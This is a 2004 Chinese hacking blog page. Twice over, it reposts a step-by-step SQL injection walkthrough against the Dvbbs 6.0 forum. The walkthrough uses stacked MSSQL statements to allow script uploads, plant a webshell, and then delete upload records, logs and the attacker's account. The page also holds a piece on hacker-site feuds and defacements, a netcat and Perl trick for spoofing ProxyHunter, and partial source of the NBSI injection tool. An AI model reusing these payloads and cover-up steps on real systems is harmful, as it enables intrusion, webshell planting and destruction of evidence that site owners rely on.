关于作者

用户名:10wWhy
笔名:10wWhy
地区:
行业:其他

日历  

快速登录

+ 用户名:
+ 密 码:

在线留言



访问统计:
文章个数:11
评论个数:15
留言条数:123




Powered by BlogDriver 2.1
<4 class="textBlog">

辣妹's 博客

 

如果有幸您来到了我的小站,希望这里带给您的是欢愉.

文章

以动网为例,最快最安全的入侵方式!
作者:臭要饭的!
前言:
入侵需要安全,脚本入侵当然也需要安全,我们怎么以最快,最安全的方式入侵成功?
这是值得我们讨论的问题.对于脚本而言,拿到WEBSHELL就是第一个目标,也就是最基本的目标,很多论坛都提供文件上传的功能,我们利用这个上传功能就可以拿到WEBSHELL。默认情况下你是不能上传脚本文件上去的。不过通过修改设置我们就可以上传了。目前很多论坛分为,ACCESS版和MSSQL版,如果是ACCESS版的,我们入侵就不能是最快的了。因为要先去破解前后台管理员的密码。然后进后台再修改设置。再上传文件。所以今天我重点为大家介绍采用MSSQL数据库的论坛

1、为什么这里讲利用MSSQL数据库就可以最快的呢?
因为MSSQL中支持多步执行SQL语句命令。而ACCESS不支持!
所以,我们就可以利用SQL语句来直接修改库。要知道这种方式是最快的。
后台管理员,也无非是通过进入后台,通过脚本程序来修改表中的设置。
所以,通过直接修改表的步骤是最简单的。也是最快的。
对于入侵者来讲,这就是他们所要做的。

2、为什么这里讲利用MSSQL数据库就可以最安全的呢?
很多人能过上传木马,得到WEBSHELL就开心了,就高兴了。
可是你们想想,他们做了些什么?通过漏洞,加自己为前台管理员!
然后,再利用漏洞,添加,要不修改后台管理员密码。这不,就达到目的了。
进前台,再进后台,上传木马。成功了,开心了。
分析一下。对数据库的改过有哪些。
第一:数据库用户表中,多了一个前台管理员。
第二:管理员表中,后台管理员的密码被改!
第三:保存上传文件的表中多了一条上传记录!
第四:有你的操作过程的日志。保存在日志表中!
通过,以上四点。管理员再笨也查得出被入侵了。最起码,很多人没有把第三,第四给清除掉。
所以,谈到安全这点,还是希望大家看看下面我的做法。我并不是教大家怎么入侵。这只是一种思
维的分析。只有分析才能进步!思维比入侵更重要!被发现的入侵是不成功的入侵.

我们以动网短消息漏洞为例!讲解快速、安全的入侵的方式!
在6.0中的动网短消息漏洞,大家都应该非常了解了吧。此漏洞是存在于messanger.asp文件中的,传递的ID参数,只过滤了单引号。好吧。我们开始吧!

看了代码。参数用request("id")来接受。我们可以采用POST方式提交这个参数了。
这样更安全。

自己做一个HTML文件来提交参数。如下:
<form action=http://www.something.com/messanger.asp?action=删除草稿 method=post>
<input type=text name=id width=32 size=100>
<input type=submit>
</form>

这样,我们就可以利用输入框向远程主机提交参数了。

第一步:得到数据库中表中的上传设置.

注册一个账号,找到自己的ID号,再看看,你要在哪个版面上传木马。找到版面ID号(到论坛去看一下,就找到了)。
这里,我以自己的ID号为1001和版面为1为例子给大家讲解!
在输入框中提交:
1); update [user] set homepage=(select board_setting from board where boardid=1) where userid=1001;--
这样,他的设置就在你的个人资料中的联系方式中的个人主页地址中了。
我们在个人主页中。修改一下他的设置在中间插入一个|asp这样就可以。然后点保存。

第二步:修改表中的上传参数,上传木马。
倒着来,再把你的个人主页中的设置替换掉他的上传设置。
1); update board set board_setting=(select homepage from [user] where userid=1001) where boardid=1;--
现在,你就可以去上传文件了。

第三步:上传自己的脚本木马。
我们在刚才的版面中,发表一个新贴,上传木马。呵呵,浏览文件,选好木马点上传。这时就不要动了!
看到下面的文本框中出现什么了吗?
[upload=asp]UploadFile/200311181122210853.asp[/upload]
看到了这个,你就不用点发表了。因为文件已经上去了。并且文件路径和文件名也出来了。
直接访问:http://www.something.com/UploadFile/20041181122210853.asp
木马就在这里了。

第四步:恢复表中的上传设置.
1); update [user] set homepage=(select board_setting from board where boardid=1) where userid=1001;--
去掉|asp
1); update board set board_setting=(select homepage from [user] where userid=1001) where boardid=1;--
更新设置。OK。这样表中的上传设置就恢复了。

第五步 :删除上传的文件在表中存在的记录.
上传的文件保存在dv_upFile表中的。
先把上传的文件名,写入自己的个人主页中。呵呵。
提交:
1); delete from dv_upfile where F_FileName=(select homepage from [user] where userid=1001);--
这样就删除了,你上传的文件记录。

第六步:删除论坛记录的日志。
你的操作会被记录在脚本系统的日志中的。我们来清除我们所有的操作记录。
提交:
1); delete from [log] where L_UserName=(select UserName from [user] where userid=1001);--
这样,我们就删除了,自己的所有操作日志.

第七步:删除自己的ID号。
到这里,你可以删除自己的ID号,也可以不删除。因为到现在为止,管理员也不会发现你做了些什么。
如果要删除,我们提交下面的语句就删除了。
提交:
1); delete from [user] where userid=1001;--
OK。所有的工作到这里就结束了。你现在可以用你的木马了。

结束分析:

这里我是以动网短消息漏洞为例的。脚本对参数本身过滤了单引号,所以比较麻烦点。如果没有对参数进行过滤,那么我们的工作效率,会更快。
今天为大家谈的只是一种思路,我们打破一切的限制,直接拿WEBSHELL。这种思路适合于任何一个论坛。
很多情况下,后台登陆如果限制了IP的话。就算你修了管理员密码,你也进不去。
让IP,让MD5不再限制我们。我们就从这里开始! 快速,安全,你做得到!相信我!

- 作者: 10wWhy 2004年08月20日, 星期五 07:58  回复(0) |  引用(0) 加入博采

以动网为例,最快最安全的入侵方式!
作者:臭要饭的!
前言:
入侵需要安全,脚本入侵当然也需要安全,我们怎么以最快,最安全的方式入侵成功?
这是值得我们讨论的问题.对于脚本而言,拿到WEBSHELL就是第一个目标,也就是最基本的目标,很多论坛都提供文件上传的功能,我们利用这个上传功能就可以拿到WEBSHELL。默认情况下你是不能上传脚本文件上去的。不过通过修改设置我们就可以上传了。目前很多论坛分为,ACCESS版和MSSQL版,如果是ACCESS版的,我们入侵就能是最快的了。因为要先去破解前后台管理员的密码。然后进后台再修改设置。再上传文件。所以今天我重点为大家介绍采用MSSQL数据库的论坛

1、为什么这里讲利用MSSQL数据库就可以最快的呢?
因为MSSQL中支持多步执行SQL语句命令。而ACCESS不支持!
所以,我们就可以利用SQL语句来直接修改库。要知道这种方式是最快的。
后台管理员,也无非是通过进入后台,通过脚本程序来修改表中的设置。
所以,通过直接修改表的步骤是最简单的。也是最快的。
对于入侵者来讲,这就是他们所要做的。

2、为什么这里讲利用MSSQL数据库就可以最安全的呢?
很多人能过上传木马,得到WEBSHELL就开心了,就高兴了。
可是你们想想,他们做了些什么?通过漏洞,加自己为前台管理员!
然后,再利用漏洞,添加,要不修改后台管理员密码。这不,就达到目的了。
进前台,再进后台,上传木马。成功了,开心了。
分析一下。对数据库的改过有哪些。
第一:数据库用户表中,多了一个前台管理员。
第二:管理员表中,后台管理员的密码被改!
第三:保存上传文件的表中多了一条上传记录!
第四:有你的操作过程的日志。保存在日志表中!
通过,以上四点。管理员再笨也查得出被入侵了。最起码,很多人没有把第三,第四给清除掉。
所以,谈到安全这点,还是希望大家看看下面我的做法。我并不是教大家怎么入侵。这只是一种思
维的分析。只有分析才能进步!思维比入侵更重要!被发现的入侵是不成功的入侵.

我们以动网短消息漏洞为例!讲解快速、安全的入侵的方式!
在6.0中的动网短消息漏洞,大家都应该非常了解了吧。此漏洞是存在于messanger.asp文件中的,传递的ID参数,只过滤了单引号。好吧。我们开始吧!

看了代码。参数用request("id")来接受。我们可以采用POST方式提交这个参数了。
这样更安全。

自己做一个HTML文件来提交参数。如下:
<form action=http://www.something.com/messanger.asp?action=删除草稿 method=post>
<input type=text name=id width=32 size=100>
<input type=submit>
</form>

这样,我们就可以利用输入框向远程主机提交参数了。

第一步:得到数据库中表中的上传设置.

注册一个账号,找到自己的ID号,再看看,你要在哪个版面上传木马。找到版面ID号(到论坛去看一下,就找到了)。
这里,我以自己的ID号为1001和版面为1为例子给大家讲解!
在输入框中提交:
1); update [user] set homepage=(select board_setting from board where boardid=1) where userid=1001;--
这样,他的设置就在你的个人资料中的联系方式中的个人主页地址中了。
我们在个人主页中。修改一下他的设置在中间插入一个|asp这样就可以。然后点保存。

第二步:修改表中的上传参数,上传木马。
倒着来,再把你的个人主页中的设置替换掉他的上传设置。
1); update board set board_setting=(select homepage from [user] where userid=1001) where boardid=1;--
现在,你就可以去上传文件了。

第三步:上传自己的脚本木马。
我们在刚才的版面中,发表一个新贴,上传木马。呵呵,浏览文件,选好木马点上传。这时就不要动了!
看到下面的文本框中出现什么了吗?
[upload=asp]UploadFile/200311181122210853.asp[/upload]
看到了这个,你就不用点发表了。因为文件已经上去了。并且文件路径和文件名也出来了。
直接访问:http://www.something.com/UploadFile/20041181122210853.asp
木马就在这里了。

第四步:恢复表中的上传设置.
1); update [user] set homepage=(select board_setting from board where boardid=1) where userid=1001;--
去掉|asp
1); update board set board_setting=(select homepage from [user] where userid=1001) where boardid=1;--
更新设置。OK。这样表中的上传设置就恢复了。

第五步 :删除上传的文件在表中存在的记录.
上传的文件保存在dv_upFile表中的。
先把上传的文件名,写入自己的个人主页中。呵呵。
提交:
1); delete from dv_upfile where F_FileName=(select homepage from [user] where userid=1001);--
这样就删除了,你上传的文件记录。

第六步:删除论坛记录的日志。
你的操作会被记录在脚本系统的日志中的。我们来清除我们所有的操作记录。
提交:
1); delete from [log] where L_UserName=(select UserName from [user] where userid=1001);--
这样,我们就删除了,自己的所有操作日志.

第七步:删除自己的ID号。
到这里,你可以删除自己的ID号,也可以不删除。因为到现在为止,管理员也不会发现你做了些什么。
如果要删除,我们提交下面的语句就删除了。
提交:
1); delete from [user] where userid=1001;--
OK。所有的工作到这里就结束了。你现在可以用你的木马了。

结束分析:

这里我是以动网短消息漏洞为例的。脚本对参数本身过滤了单引号,所以比较麻烦点。如果没有对参数进行过滤,那么我们的工作效率,会更快。
今天为大家谈的只是一种思路,我们打破一切的限制,直接拿WEBSHELL。这种思路适合于任何一个论坛。
很多情况下,后台登陆如果限制了IP的话。就算你修了管理员密码,你也进不去。
让IP,让MD5不再限制我们。我们就从这里开始! 快速,安全,你做得到!相信我!

- 作者: 10wWhy 2004年08月20日, 星期五 07:58  回复(0) |  引用(0) 加入博采

一个月来黑客界的战争

想必大家都看过前一段时间冰血封情的关于国内黑客战事的文章(http://www.49297.com/Article/Catalog3/120.html)了吧。

那篇文章写的真是很牛,影响力非常大。我写的这篇文章本质上和冰冰的差不多,可是那都是上半年的事了。进入了7

份以后中国黑客界变化巨大,很多人和事都有了很大程度上的改变。比如三少比如猪蛋。

这一个多月来的可是说是近几年黑客界最混乱的时刻,国内和国外的矛盾日益锐化,可以说对内还是对外已经成了评判一个

黑客的标准,很多人在忙着内战,很多人忙着外战,国内网站是一个接一个的被黑掉,当然我们的黑客们也搞掉了不少国外

的网站,在这次的行动中也暴露出了很多人的本质,不过这里就不多说了,毕竟这次是一次国的行动,不想背负不爱国这

个罪名。国内和国外黑客都打得热火朝天,说实话倒霉的都是民办网站,呵呵不过哪次战争牺牲最大的不是贫民呢?:)

首先来看国内的,经过上半年“战火”的“洗礼”,我们两位年轻可怕的战士猪蛋儿和枫三少现在好象在无形间都长大了不少,

从最开始漫无目的地黑各种站,到现在有目的地转向安全,也走了中国大部分安全工作者的必经之路(有关2人的事迹可以

查阅冰冰的那篇文章)。这里笔者也为他们高兴,祝他们前程光明。

国内的一些大网站倒是一直没传出什么被黑的消息,估计就算去黑大站也得不到很大的权限,国内的黑客站点是最让人担心的,

23的被黑,让人真是觉得可怕,连搞黑客和搞安全的自己的安全做得都如此之差,不知道让不是黑客的人群会怎么去想?

呵呵这篇文章主要是写国内的情况,大家都知道眼下的中国黑客界是混乱得很。好多网站都消失了,呵呵,现在就看看这个月来

国内的黑客站点被黑的情况吧!

首先说说最大的2个航母级黑客站点黑基(www.hackbase.com)和华夏(www.77169.com)。他们代表了中国黑客中两个最大的团体,

也都是后起之秀。但是现在发展速度可以说只能用一句惊人来形容,黑客基地成立一年的时候世界排名已经冲到了世界2000名,

而华夏比黑基要晚一些,但是发展的确实也非常快速,成为国内顶级的黑客站点。但是两者之间存在着非常激化的矛盾,有一种

水火不相容的感觉,其实也不难理解,大家都想做中国最大的黑客站点,不过个人觉得完全可以共同发展,不必要竞争到这样的

程度,甚至到了两方面的人互相诋毁的程度,互相黑互相骂,这种局面也不是我辈能解决的就不多做评论了。呵呵看看发生的事吧。

最开始是黑基被D,几天无法访问,导致黑基3000会员没地方去。后来黑基通过换IP等手段使网站恢复了正常,不过访问速度比

以前差了一些,好象对IP的限制也更多了。黑基的人都认为这是77169做的,呵呵无凭无据不敢妄语。下图:黑基被D

http://www.lam.home.bj001.net/xfile.php?xname=O82E001&download=1&fname=21.JPG

然后华夏连续2次被黑,第一次被黑数分钟后黑基主页上立即出现了消息,这让华夏人非常气愤,也拉开了黑基和华夏明争

暗斗的序幕。六月19

http://www.lam.home.bj001.net/xfile.php?xname=O82E001&download=1&fname=20.JPG

这次以后,黑基被D的情况越来越多了,黑基与华夏的矛盾也在增加。说实话真不想看到这样的局面,因为DDOS这种事

根本没办法查是谁干的,希望不是华夏所为呵呵,个人看法个人看法:)。

华夏2次被黑这是几天的事,我这次可以帮黑基说句话这次华夏被黑绝对不是黑基所为,是我一个朋友干的,他绝对不是

黑基的。

华夏被黑的时候俺正在线,截图是自己截的。入侵是在86日早上9点左右进行的

http://www.lam.home.bj001.net/xfile.php?xname=O82E001&download=1&fname=19.JPG


- 作者: 10wWhy 2004年08月14日, 星期六 06:13  回复(1) |  引用(0) 加入博采

瑞士军刀实现对代理猎手的欺骗
兵器谱上排名第三的是"唐家霸王枪".排名第二的是"小李飞刀".排名第一就是"人称人见人爱的瑞士军刀",瑞士军刀
英文名字简称"netcat",在我们一般叫他"NC",它体积小巧,威力无比,不愧是居家旅行,杀人越货之必备良品,在看了
一篇名字叫《代理猎手的深度分析》,文中工具复杂,而且涉及编程,不适合菜鸟使用。我今天就重演如何用nc对代理
猎手进行一次欺骗.
代理猎手,网络上一款非常优秀的搜索proxy软件,无论在速度上和验证的正确性上都是我见过最优秀的东西,不愧是
我们国人的骄傲。但一些无聊人士经常用proxyhunter在网络上进行扫描,占用大量的宽带资料,我对代理猎手分析如下,
首先我用NC在本机监听80端口,并且把日志写进c:log.txt的文本里面,格式如下: nc -vv -l -p 80 >>c:log.txt
在代理猎手的验证里面加入本机IP,我这里用的127.0.0.1:80端口,在验证的资源里面我选择的是著名Google,OK.
一切OK,我对127.0.0.1进行了验证,当时我的NC就收到了消息,并且把所有的信息写到c:log.tx,看下面,
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
Pragma: no-cache
GET http://www.google.com/ HTTP/1.1
Host: www.google.com
Accept: */*
User-Agent: Mozilla/5.0 (compatible; MSIE 5.01; Win2000)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
大家看到了没有,上面就是代理猎手对IP进行验证发出的信息.下文引用他人文章,猎手在发出了这样一个命令序列后,如果对方
是proxy server的话,猎手就会收到www.google.com的首页,然后下来的应该是在主页中搜寻预先定义在猎手中的KEYWORD,
如果为真,则目标是代理服务器,并且免费。
但我并没有真值的信息,怎么办呢?深度分析的作者写的是在网上找了个proxy server.假设了一个sniffer工具得到的数据包。
可我没有先成的代理服务器,陷入一片郁闷中。几番思考,想到了在本机假设一个proxy server然后sniffer也不是一样吗?虽然
方法很无聊,但我还是给出方法让和我一样菜的朋友门能看懂。去网上下载了CCproxy,这个软件大家应该比我还熟悉吧.一款相当不
错的代理服务器工具,马上在机器上安装好了。设置成80的http代理,本机测试成功以后马上就挂nc进行监听,谁知道根本就没返回
任何的值。一阵郁闷袭来,马上回过来神来,研究了一下,终于搞明白是怎么一回事,本机用ccproxy已经开了80端口,用NC再监听
80的端口,在同一机器上是不可能开2个相同的端口的。怎么办呢,拿出我的宝贝commview,介绍一下,commview是款很好的嗅探工
具,而且不象其他sniffer工具那样占用大量的机器资源。所以对我这些一直用惯了烂机器的人是个不错的选择,OK。首先用命令
ping到Google的真实IP,216.239.53.99,为了能更准确的分析数据,我设置嗅探的IP为192.168.0.164和216.239.53.99,设置端口为80,启动代理,把127.0.0.1:80这个IP加入到代理猎手,启动commview,用google验证127.0.0.1,呵呵,验证结果为free,数据也
出来了,如下:
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/html
Set-Cookie: PREF=ID=0453e9c830e331e7:TM=1074611062:LM=1074611062:S=6pt0iJg_y8rmTiRz; expires=Sun, 17-Jan-2038 19:14:07 GMT; path=/; domain=.google.com
Server: GWS/2.1
Content-length: 3665
Date: Tue, 20 Jan 2004 15:04:22 GMT

<html><head><meta http-equiv="content-type" content="text/html; charset=ISO-8859-1"><title>Google</title><style><!--
body,td,a,p,.h{font-family:arial,sans-serif;}
.h{font-size: 20px;}
.q{color:#0000cc;text-decoration: none;}
//-->
</style>
<script>
<!--
function sf(){document.f.q.focus();}
function c(p,l,e){var f=document.f;if (f.action && document.getElementById) {var hf=document.getElementById("hf");if (hf) {var t = "<input type=hidden name=tab value="+l+">";hf.innerHTML=t;}f.action = 'http://'+p;e.cancelBubble=true;f.submit();return false;}return true;}
// -->
</script>
</head><body bgcolor=#ffffff text=#000000 link=#0000cc vlink=#551a8b alink=#ff0000 onLoad=sf()><center><table border=0 cellspacing=0 cellpadding=0><tr><td><img src="/images/logo.gif" width=276 height=110 alt="Google"></td></tr></table><br>
<table border=0 cellspacing=0 cellpadding=0><tr><td width=15> </td><td id=0 bgcolor=#3366cc align=center width=95 nowrap><font color=#ffffff size=-1><b>Web</b></font></td><td width=15> </td><td id=1 bgcolor=#efefef align=center width=95 nowrap onClick="return c('www.google.com/imghp','wi',event);" style=cursor:pointer;cursor:hand;><a id=1a class=q href="/imghp?hl=en&tab=wi&ie=UTF-8" onClick="return c('www.google.com/imghp','wi',event);"><font size=-1>Images</font></a></td><td width=15> </td><td id=2 bgcolor=#efefef align=center width=95 nowrap onClick="return c('www.gogle.com/grphp','wg',event);" style=cursor:pointer;cursor:hand;><a id=2a class=q href="/grphp?hl=en&tab=wg&ie=UTF-8" onClick="return c('www.google.com/grphp','wg',event);"><font size=-1>Groups</font></a></td><td width=15> </td><td id=3 bgcolor=#efefef align=center width=95 nowrap onClick="return c('www.google.com/dirhp','wd',event);" style=cursor:pointer;cursor:hand;><a id=3a class=q href="/dirhp?hl=en&tab=wd&ie=UTF-8" onClick="return c('www.google.com/dirhp','wd',event);"><font size=-1>Directory</font></a></td><td width=15> </td><td id=4 bgcolor=#efefef align=center width=95 nowrap onClick="return c('www.google.com/nwshp','wn',event);" style=cursor:pointer;cursor:hand;><a id=4a class=q href="/nwshp?hl=en&tab=wn&ie=UTF-8" onClick="return c('www.google.com/nwshp','wn',event);"><font size=-1>News</font></a></td><td width=15> </td></tr><tr><td colspan=12 bgcolor=#3366cc><img width=1 height=1 alt=""></td></tr></table><br><form action="/search" name=f><table cellspacing=0 cellpadding=0><tr><td width=75> </td><td align=center><input type=hidden name=hl value=en><span id=hf></span><input type=hidden name=ie value="ISO-8859-1"><input maxLength=256 size=55 name=q value=""><br><input type=submit value="Google Search" name=btnG><input type=submit value="I'm Feeling Lucky" name=btnI></td><td valign=top nowrap><font size=-2> • <a href=/advanced_search?hl=en>Advanced Search</a><br> • <a href=/preferences?hl=en>Preferences</a><br> • <a href=/language_tools?hl=en>Language Tools</a></font></td></tr></table></form><br><br><font size=-1><a href="/ads/">Advertise with Us</a> - <a href="/services/">Business Solutions</a> - <a href="/options/">Services & Tools</a> - <a href=/about.html>Jobs, Press, & Help</a><span id=hp style="behavior:url(#default#homepage)"></span>
<script>
//<!--
if (!hp.isHomePage('http://www.google.com/')) {document.write("<p><a href="/mgyhp.html" onClick="style.behavior='url(#default#homepage)';setHomePage('http://www.google.com/');">Make Google Your Homepage!</a>");}
//-->
</script></font><p><font size=-2>©2004 Google - Searching 3,307,998,701 web pages</font></p></center></body></html>
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
拿到了真正的验证数据,我们就可以用nc的管道命令来对代理猎手进行一次欺骗了,老规矩,我们先把上面我们嗅探到的数据复制保存到c:free.txt文件,用NC这样监听本机80端口,当有人试图对本机80端口进行连接的时候,自动发送c:free.txt里面的数据,
还是老规矩,给出命令格式:nc -vv -l -p 80 <c:free.txt.关闭代理,用google验证本机,显示为"free",到这里,一次用NC
欺骗代理猎手的演示就成功。其实假如我们把上面的数据的第一行做一次修改,修改成HTTP/1.1 404 ERROR会是什么效果呢``
这个大家就慢慢测试吧,至于可能有很多朋友会问我,这个到底有什么用,这个我就不说了,看我的下篇文章,如何欺骗猎手拿到
对方的帐号和密码,今天是春节,祝大家春节快乐,万事如意。如需转帖,请保持文章的完整性。
欢迎大家来论坛和我交流,测试环境在 win98和2k下通过,感谢好朋友嘿嘿黑在测试中无偿的对我帮助
下面附上我用perl写的一个欺骗的exp给大家
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
#!/usr/bin/perl
print "======================================== ";
print " 代理猎手欺骗 By awjju ";
print " http://www.cnse8.com ";
print " http://www.niedu.org ";
print " 感谢亲爱的黑嘿黑 ";
print "======================================== ";

use IO::Socket ;
use strict;

use constant PORT => 8080;
my $port = shift || PORT;

my $sock = IO::Socket::INET->new( LocalPort => PORT,
Listen => 20,
Proto => 'tcp',
Timeout => 10,
Reuse => 1)
or die "Can't create listening socket: $! ";

while(1){
next unless my $SESSION = $sock->accept;
$SESSION->autoflush(1);
while (<$SESSION>) {
open (cmd,"cmd.txt ") or die "open failed : $! ";
my @str = <cmd>;
print $SESSION @str;
}
close cmd;
close $SESSION;
}
close $sock;
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
为了方便懒人和机器上没装perl环境的朋友,我把编译成了exe文件给大家。下面给大家奉上,
其中cmd.txt必须和ss.exe放在同一目录,使用方法可以这样,比如在本机实现欺骗,可以在代理猎手
中设置验证的地址为127.0.0.1端口为8080,请把验证的资源设置成www.google.com
当然如果你想换成其他地址的话,请修改cmd.txt里面相应的内容。

http://www.cnse8.com
http://www.niedu.org
EAmail:awjju@hotmail.com
拽乖乖
2004.1.21


- 作者: 10wWhy 2004年07月26日, 星期一 04:54  回复(2) |  引用(0) 加入博采

NBSI1.15部分源代码(不敢全发:))

NBSI1.15部分源代码(不敢全发:))
Const HTTP_200_INC = " 200 "
Const HTTP_500_INC = " 500 "
Const ValidateStr = "<!NBSI_FLAG:"

Public Decide_Method, Inject_Method, Database_Type, SiteID, NBLevel As Integer
Public TxtURL, KeyWord, FieldListMain, FieldListSub, AscStr, DescStr, TableName, TableNameSelected, ReturnBody, ReturnHead, URL_Check_End, GetValidate As String
Public StopFlag, UrlChanged, LoginYN, ErrorYN As Boolean
Dim conn As New ADODB.Connection

Private Sub btnExport_Click()
    FileList.Refresh
    FileList.Show
End Sub

Private Sub btnHelp_Click()
    FormCompare.Show
End Sub

Private Sub Form_Click()
    InjectList.Visible = False
End Sub

Private Sub Image1_Click()
    IE = Shell("C:Progra~1Intern~1IEXPLORE.EXE http://www.54NB.com/?From=NBSI")
End Sub

Private Sub URL_Click()
  nbsp; Call URL_KeyUp(0, 0)
End Sub

Private Sub URL_KeyUp(KeyCode As Integer, Shift As Integer)
    On Error Resume Next
    TxtURL = URL.Text
    Pos = InStr(TxtURL, "?")
    InjectList.Clear
    If Pos > 0 Then
        ScriptName = Left(TxtURL, Pos - 1)
        Parameters = Split(Mid(TxtURL, Pos + 1), "&")
        If UBound(Parameters) > 0 Then
            For i = 0 To UBound(Parameters)
                InjectURL = Replace(TxtURL, "?" & Parameters(i), "")
                InjectURL = Replace(InjectURL, "&" & Parameters(i), "")
                InjectURL = InjectURL & "&" & Parameters(i)
                InjectURL = Replace(InjectURL, ScriptName & "&", ScriptName & "?")
                InjectList.AddItem (InjectURL)
            Next
        End If
        InjectList.Visible = True
    End If
    On Error GoTo 0
End Sub

Private Sub InjectList_DBLClick()
    URL.Text = InjectList.List(InjectList.ListIndex)
End Sub

Private Sub InjectList_LostFocus()
    InjectList.Visible = False
End Sub

Private Sub txtFieldName_Change()
    If txtFieldName.Text = "手工输入表名" Then txtFieldName.Text = ""
End Sub

Private Sub txtRecStart_LostFocus()
    If Not IsNumeric(txtRecStart.Text) Then
        MsgBox ("请输入开始猜解的记录数,必须为整数!")
        txtRecStart.SetFocus
        Exit Sub
    End If
    txtRecStart.Text = Int(txtRecStart.Text)
    If txtRecStart.Text < 1 Then
        MsgBox ("请输入开始猜解的记录数,必须为大于零!")
        txtRecStart.SetFocus
        Exit Sub
    End If
End Sub

Private Sub txtTableName_Change()
    If txtTableName.Text = "手工输入表名" Then txtTableName.Text = ""
End Sub

Private Sub URL_Change()
    If btnCheck.Enabled = False Then UrlChanged = True
    MethodGet.Enabled = True
    MethodPost.Enabled = True
    If LoginYN Then btnCheck.Enabled = True
    btnCheck.Caption = "检测"
End Sub

Private Sub URL_GotFocus()
    TmpURL.Text = URL.Text
End Sub

'----------------------------------------------------------------------------------------------
' Form Load
'----------------------------------------------------------------------------------------------
Private Sub Form_Load()
    If Date > CDate("2008-07-01") Then Exit Sub
   
    If Command = "ver" Then
        MsgBox ("NBSI 1.15 U10001")
        Exit Sub
    End If
   
    On Error Resume Next
    conn.Open "driver={Microsoft Access Driver (*.mdb)};dbq=" & App.Path & "History.MDB"
    sql = "Delete from SiteList where Decide_Method=0"
    conn.Execute (sql)
    sql = "Select SetValue from Setting where SetName='LastURL'"
    Set rsSetting = conn.Execute(sql)
    URL.Text = rsSetting("SetValue")
    Set rsSetting = Nothing
    UrlChanged = False
    Help.Text = "提示:" & vbCrLf & "请先输入您所要注入的网址" & vbCrLf & "[检测]是否存在注入漏洞"
    LoginYN = False
    btnLogin.SetFocus
End Sub

Private Sub Form_Resize()
    If Me.WindowState <> 1 Then
        If Me.Width <> 11025 Then Me.Width = 10240
        If Me.Height <> 7845 Then Me.Height = 7590
    End If
End Sub

Private Sub Form_Unload(Cancel As Integer)
    Set conn = Nothing
    End
End Sub

Private Sub Password_KeyDown(KeyCode As Integer, Shift As Integer)
    If KeyCode = 13 Then Call btnLogin_Click
End Sub

Private Sub btnLogin_Click()
    btnLogin.Enabled = False
    strUserName = UserName.Text
    strPassword = URLEncode(Password.Text)
    If strUserName = "ilove54nb" And strPassword = "ilove54nb" And Date < CDate("2004-08-01") Then
        NBLevel = 1
    ElseIf strUserName = "" Or strPassword = "" Then
        NBLevel = -5
    Else
        Dim CheckURL(3)
        CheckURL(1) = "http://www.54nb.com/?From=NBSI&UserID=" & strUserName & "&Password=" & strPassword & "&ver=1.15"
        CheckURL(2) = "http://bbs.54nb.com/?From=NBSI&UserID=" & strUserName & "&Password=" & strPassword & "&ver=1.15"
        CheckURL(3) = "http://www.Unionbyte.com/Blog/NBSI.ASP?From=NBSI&UserID=" & strUserName & "&Password=" & strPassword & "&ver=1.15"
        On Error Resume Next
        For i = 1 To UBound(CheckURL)
            Err.Clear
            btnLogin.Caption = "尝试" & i
            ValidateArr = CommonGetHTTPHeadAndBody(CheckURL(i))
            If Err.Number = 0 Then
                If InStr(ValidateArr(0), HTTP_200_INC) > 0 Then
                    If InStr(ValidateArr(1), "<frame src=""") > 0 Then
            &nsp;           PosBegin = InStr(ValidateArr(1), "<frame src=""") + 12
                        PosEnd = InStr(PosBegin, ValidateArr(1), """>")
                        RedirectURL = Mid(ValidateArr(1), PosBegin, PosEnd - PosBegin)
                        ValidateArr = CommonGetHTTPHeadAndBody(RedirectURL)
                    End If
                    GetValidate = ValidateArr(1)
                    Exit For
                End If
            End If
        Next
        On Error GoTo 0
        If IsNull(GetValidate) Or GetValidate = "" Or InStr(GetValidate, ValidateStr) = 0 Then
            NBLevel = -4
        Else
            PosBegin = InStr(GetValidate, ValidateStr)
            PosBegin = PosBegin + Len(ValidateStr)
            PosEnd = InStr(PosBegin, GetValidate, ">")
            NBLevel = Mid(GetValidate, PosBegin, PosEnd - PosBegin)
            If IsNumeric(NBLevel) Then
                NBLevel = Int(NBLevel)
            Else
                NBLevel = -3
            End If
        End If
    End If
    If NBLevel > 0 Then
        FrameLogin.Visible = False
        FrameBack.Visible = False
        LoginYN = True
        btnCheck.Enabled = True
        URL.Enabled = True
        Message = "用户名密码正确,身份验证成功!" & vbCrLf & vbCrLf & "注意:本工具限用于网站漏洞检测,请勿用于非法用途,否则后果自负!"
        Call MsgBox(Message, 48, "NBSI提示信息")
    Else
        btnLogin.Enabled = True
        btnLogin.Caption = "登 录"
        Message = "登录失败,请输入正确的用户名密码!如有疑问请与作者联系" & vbCrLf & vbCrLf & "错误代码:" & NBLevel
        Call MsgBox(Message, 48, "NBSI提示信息")
    End If
    ProgressBar.Value = 0
End Sub

Private Sub btnExit_Click()
    End
End Sub

'----------------------------------------------------------------------------------------------
' Main Operate
'----------------------------------------------------------------------------------------------
Private Sub btnCheck_Click()
    InjectList.Visible = False
    If UrlChanged Then
        SelectedValue = MsgBox("您是否要终止本猜解任务,并开始另一网址的检测?", 4 + 32, "NBSI提示信息")
        If SelectedValue = 6 Then
            If LoginYN Then btnCheck.Enabled = True
            btnCheck.Caption = "检测"
           
            TxtKeyword.Enabled = False: TxtKeyword.Text = ""
           
            OptDecide_Method(0).Enabled = False: OptDecide_Method(0).Value = False
            OptDecide_Method(1).Enabled = False: OptDecide_Method(1).Value = False
